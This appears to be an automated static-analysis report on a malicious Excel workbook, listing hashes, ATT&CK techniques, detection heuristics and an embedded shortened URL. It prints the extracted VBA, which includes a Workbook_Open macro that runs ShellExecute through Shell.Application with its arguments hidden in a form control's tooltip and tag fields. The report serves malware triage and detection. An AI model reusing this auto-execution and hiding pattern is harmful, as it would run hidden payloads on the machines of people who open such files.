Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c826a4802da3ab2e…

MALICIOUS

Office (OOXML)

19.8 KB Created: 2006-09-16 00:00:00 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2021-09-17
MD5: 437ec732d6ddc95e3c29135b06e123f1 SHA-1: 8e37e37c87bb2991b1be40be642cd4b2332f49d3 SHA-256: c826a4802da3ab2e283f594a379906d628b05bc75403de7aa703078ede6ecb00
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an OOXML file containing a Workbook_Open VBA macro. This macro uses VBA's CreateObject function to instantiate 'Shell.Application', which is then used to execute an unspecified payload. The presence of the Workbook_Open auto-execution event and the use of Shell.Application strongly indicate an attempt to run a second-stage payload upon opening the document.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.bitly.com/jasdojasdokkakasdasasddasjsd In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1774 bytes
SHA-256: ee80f32b25348b4db66eca5ba61cc81d16f21ccff268f13c4104668f017e0430
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub _
Workbook_Open _
()
Sheet1.coomon.ShellExecute# hehe.mm.ControlTipText, hehe.mm.Tag


End _
Sub



Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Function _
coomon _
()
Set _
coomon _
= _
VBA _
. _
CreateObject("Shell.Application")
End Function



Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "hehe"
Attribute VB_Base = "0{2E174F06-FAA5-47F7-B5D8-AB84117B085C}{567020CF-06F0-4979-890E-05A863BA89A6}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 24576 bytes
SHA-256: c8468114b9d4c387a6b3926edb0e03074587aef3f776972ea4b719637023cc49

Open this report in the interactive analyzer, or submit your own file for analysis.